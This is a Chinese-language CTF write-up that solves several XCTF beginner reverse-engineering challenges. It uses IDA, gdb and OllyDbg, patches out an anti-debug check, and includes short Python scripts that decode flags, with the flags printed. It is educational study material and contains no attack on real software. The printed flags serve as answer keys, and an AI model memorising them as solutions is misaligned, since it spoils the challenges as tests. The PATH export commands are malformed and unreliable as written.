题目描述:菜鸡听说有的程序运行就能拿Flag?

做题实录

这是个32位的elf文件,ubuntu里跑一下,出来一堆不知道是啥的东西。

1565410895869

IDA打开

1565411183353

这个authenticate()看着很可疑,进去看看:

1565411728014

看到一个decrypt(...),估计就是它了,进去看看

1565411819257

看样子是一个解密函数,在decrypt(...)下断点进行动态 调试,进入while循环Hex View跟踪EAX(因为函数返回值就存在EAX里),可以看到flag正在被解密出来,继续往下走

1565412182025

解密完成,得出flag,去掉0x00就是最终的flag,由于题目来源9447CTF,所以没有前面的1。

1565412265513

分析总结

我看了一下,基本上都差不多,不过很多都是用gdb调试的,没用过gdb,正好趁这个机会学习一下,写一下gdb调试的方法。

进入gdb后输入 file no-strings-attached 开始调试程序

然后在decrypt()下断点,用命令 break decrypt

按n是单步步过,s是单步步进,啥也不输直接按回车默认执行上一条指令

单步执行到这里发现EAX里面存了9,是flag的开头

1565415496515

记下此时EAX的位置0x804cff0,输入 finish 让程序执行完当前的函数并返回

1565416027427

查看EAX的内容,输入命令 x/100u $eax (该命令具体使用方式参见GDB下查看内存命令(x命令)

1565416413194

写个脚本跑出来就行了

s=[57,52,52,55,123,121,111,117,95,97,114,101,95,97,110,95,
    105,110,116,101,114,110,97,116,105,111,110,97,108,95,109,121,
    115,116,101,114,121,125]
flag=''
for i in range(len(s)):
    flag += chr(s[i])

print (flag)

#得出结果:9447{you_are_an_international_mystery}

getit

题目描述:菜鸡发现这个程序偷偷摸摸在自己的机器上搞事情,它决定一探究竟

做题实录

这是个elf文件,在ubuntu里跑了一下发现没反应,放到IDA里看一下

1565407669159

看样子估计是个解密flag的,看了看数据段发现了t是flag(IDA里面按a把ASCII码变成字符串),但是内容不知道

1565408592965

1565408717450

我猜while循环应该就是解密的,于是动态调试一下。

1565408257709

可以看到在循环的过程中下面flag就已经出现了,继续调试得出flag

1565408338406

分析总结

这个题其实也可以不用动态调试,因为while循环里转换算法都写好了,自己按照源码写个脚本跑就行了。

s = 'c61b68366edeb7bdce3c6820314b7498'
flag = ''
for i in range(len(s)):
    if i & 1:
        t = 1
    else:
        t = -1
    flag  += chr(ord(s[i]) + t)
print (flag)

#得出结果:  b70c59275fcfa8aebf2d5911223c6589

python-trade

题目描述:菜鸡和菜猫进行了一场Py交易

做题实录

下下来是pyc文件,放到ubuntu里面,用uncompyle反编译(下载过程也踩了很多坑……)并保存到tes.py

uncompyle6 Py.pyc > tes.py

得到源码:

# uncompyle6 version 3.3.5
# Python bytecode 2.7 (62211)
# Decompiled from: Python 2.7.15+ (default, Nov 27 2018, 23:36:35) 
# [GCC 7.3.0]
# Embedded file name: 1.py
# Compiled at: 2017-06-02 19:20:43
import base64

def encode(message):
    s = ''
    for i in message:
        x = ord(i) ^ 32
        x = x + 16
        s += chr(x)

    return base64.b64encode(s)


correct = 'XlNkVmtUI1MgXWBZXCFeKY+AaXNt'
flag = ''
print 'Input flag:'
flag = raw_input()
if encode(flag) == correct:
    print 'correct'
else:
    print 'wrong'
# okay decompiling Py.pyc

是一个加密的程序,那按照它的步骤解密就行了,是一个算法逆向的题。

解密代码如下:

import base64

def decode(message):
    message = base64.b64decode(message)
    s = ''
    for i in message:
        x = ord(i)-16
        x = x ^ 32
        s += chr(x)

    return s 

message = 'XlNkVmtUI1MgXWBZXCFeKY+AaXNt'
print (decode(message))

#得出结果:   nctf{d3c0mpil1n9_PyC}

分析总结

这题没啥好说的,就是算法逆向。但是安装使用uncompyle遇到点问题,也记下来吧。

pip install uncompyle

然后使用的时候需要输compyle6,我在输了之后一直提示我“command not found”,后来发现需要执行这两条命令安装环境变量

export PATH=HOME/bin:/usr/local/bin:PATH
PATH=HOME/bin:/usr/local/python27/bin:/usr/local/bin:PATH

csaw2013reversing2

题目描述:听说运行就能拿到Flag,不过菜鸡运行的结果不知道为什么是乱码

做题实录

拿到的是个exe文件,双击运行结果如图:

1565351871574

正如描述所说,是一堆乱码,放到OD里看一下。

发现这个位置就是弹出flag的位置。

1565352046845

在这儿设个断点,然后进去仔细看。

进来之后看这个函数,发现有两个MessageBox函数,觉得有蹊跷,于是在00B01094处取消跳转,让它往下走看看有什么反应。

1565352326390

在走的时候把int3用nop填充,00B010A3处的jmp跳转也用nop填充

走到第一个MessageBox,弹出了一个flag,但是什么也没有

1565352520653

于是点击忽略继续往下走,又遇到了jmp跳转,同样nop填充

走到这flag已经加载进内存了。

1565352654965

分析总结

方法一:直接修改程序逻辑

参考【XCTF 攻防世界】 Reverse —— csaw2013reversing2

由于是个32位的PE文件(linux下用file命令查看),所以用ida pro打开,F5反编译,生成类C语言的伪代码如下:

1565354260660

lpMem就是flag的内容。看第10行if语句,如果sub_40102A()IsDebuggerPresent()返回值为真则执行__debugbreak()调试断点函数、子函数sub_401000(...)和退出进程函数ExitProcess(...)函数,否则直接执行MessageBoxA(...)函数弹出flag框。

打开sub_40102A()函数看一下:

1565355150691

发现返回值恒等于零,那就是说只有在调试状态下才会执行if里面的语句。由于直接双击运行没有在调试环境下,弹出乱码的flag,所以可以肯定if里面的语句是关键点,应该包含解密flag的函数。

打开sub_401000(...)看一下:

1565355328341

看样子是个解密函数,那应该就是它了。那么思路就很清晰了,我们要让程序跳过if判断,直接执行sub_401000(...)函数,然后再跳过ExitProcess(...)函数执行MessageBoxA(...)函数弹出解密后的flag框。

既然思路已经清晰那么就开始修改程序吧。

这是原本的逻辑:

1565355918832

使用IDA修改指令的方法是将光标放在要修改的指令上,依次点击Edit -> Patch program -> Assemble,弹出指令修改框进行修改。

修改之后逻辑如下:

1565356638399

红色标注的就是修改过的地方。修改完成后要保存到文件,依次点击 Edit -> Patch program -> Apply patches to input file…,弹出设置框,选择待打补丁程序进行修改。

最后双击运行修改后的程序,直接弹出已解密的flag框。

1565358175915

方法二:DLL注入

参考攻防世界 RE csaw2013reversing2

maze

题目描述:菜鸡想要走出菜狗设计的迷宫

做题实录

打开IDA看了半天源码,不知道和迷宫有啥关系,以前没做过这种题,还以为是代码不停跳转什么的,还是最后看了wp才明白,真的是个迷宫(吐血)。还是要做题,提高自己的姿势水平,不然就太naive了。

分析总结

这是个64位的elf文件,放IDA里看一下main函数

2019-08-11_203146

(请无视我刚开始看的时候做的注释)首先看第13行,判断输入的字符串,从这里可以看出要求输入的flag长度为24,且以 ‘nctf{‘ 开头,以 ‘}’ 结尾(最后的 ‘}’ 本来是ASCII码,在IDA里把光标选择ASCII码按R键就可以把ASCII码变成字符了)。

由于是迷宫,一般是二维的,所以应该有一个记录坐标的变量,看到v9,在判断中有一个&v9(&v9)+1(也就是v9跟着的的下一个字节的地址),那么可以猜想v9就是一个记录位置坐标信息的二维数组。那么while循环就是在判断输入的字符来改变坐标信息,也就是用户输入字符来走迷宫。

正常来说,v9和v9+1对应着迷宫的行和列(别问我为啥不是列和行,我觉得正常讲话就是行在前,所以自然而然想到行和列。就算不对那到时候再改吗,反正就两种情况。而且下面的分析可以确定就是对应的行和列)。

既然是走迷宫,当然就得判断走没走到终点,看到了第72行的“Congratulations!”,那看一下它前面第70行的判断,判断坐标所在,如果是“#”,就到终点了,说明“#”号就代表终点。而且看一下asc_601060

1565528977356

有个“#”,看来这应该就是迷宫的地图了。我们的目标就是要走到“#”处。再回过头来看8*v9+SHIDWORD(V9),既然是坐标,说明v9就代表行,而v9+1代表列,而且可以知道迷宫的地图应该是8个字符一行的(因为行增加一,数就增加8)。

至于这个LABLE_15,每走一步都要进入这里,应该就是判断有没有越界什么的函数。

现在基本上就已经理清楚了这个迷宫,只要知道怎么走就行了。while循环里的函数如下:

//因为是&v9+1,所以是判断列,也就是左右走
bool __fastcall sub_400650(_DWORD *a1)//(_DWORD *)&v9 + 1
{
//为'O' 
  int v1; // eax

  v1 = (*a1)--;     //往左走
  return v1 > 0;
}

bool __fastcall sub_400660(int *a1)//(int *)&v9 + 1
{
//为'o'
  int v1; // eax

  v1 = *a1 + 1;     //往右走
  *a1 = v1;
  return v1 < 8;
}
//上下走
bool __fastcall sub_400670(_DWORD *a1)//&v9
{
//为'.'
  int v1; // eax

  v1 = (*a1)--;     //往上走
  return v1 > 0;
}

bool __fastcall sub_400680(int *a1)//(int *)&v9
{
//为'0'
  int v1; // eax

  v1 = *a1 + 1;     //往下走
  *a1 = v1;
  return v1 < 8;
}

总结一下:“.”往上走、“0”往下走、“O”往左走、“o”往右走

拿个脚本把地图写出来(python是真的好用)

map = '  *******   *  **** * ****  * ***  *#  *** *** ***     *********'
for i in range(0, len(map), 8):
    print (map[i: i + 8])

#得出结果:
'''
  ******
*   *  *
*** * **
**  * **
*  *#  *
** *** *
**     *
********
'''

要求步长为18,从左上角开始走,走到“#”的位置,走就行了,最后结果为

nctf{o0oo00O000oooo..OO}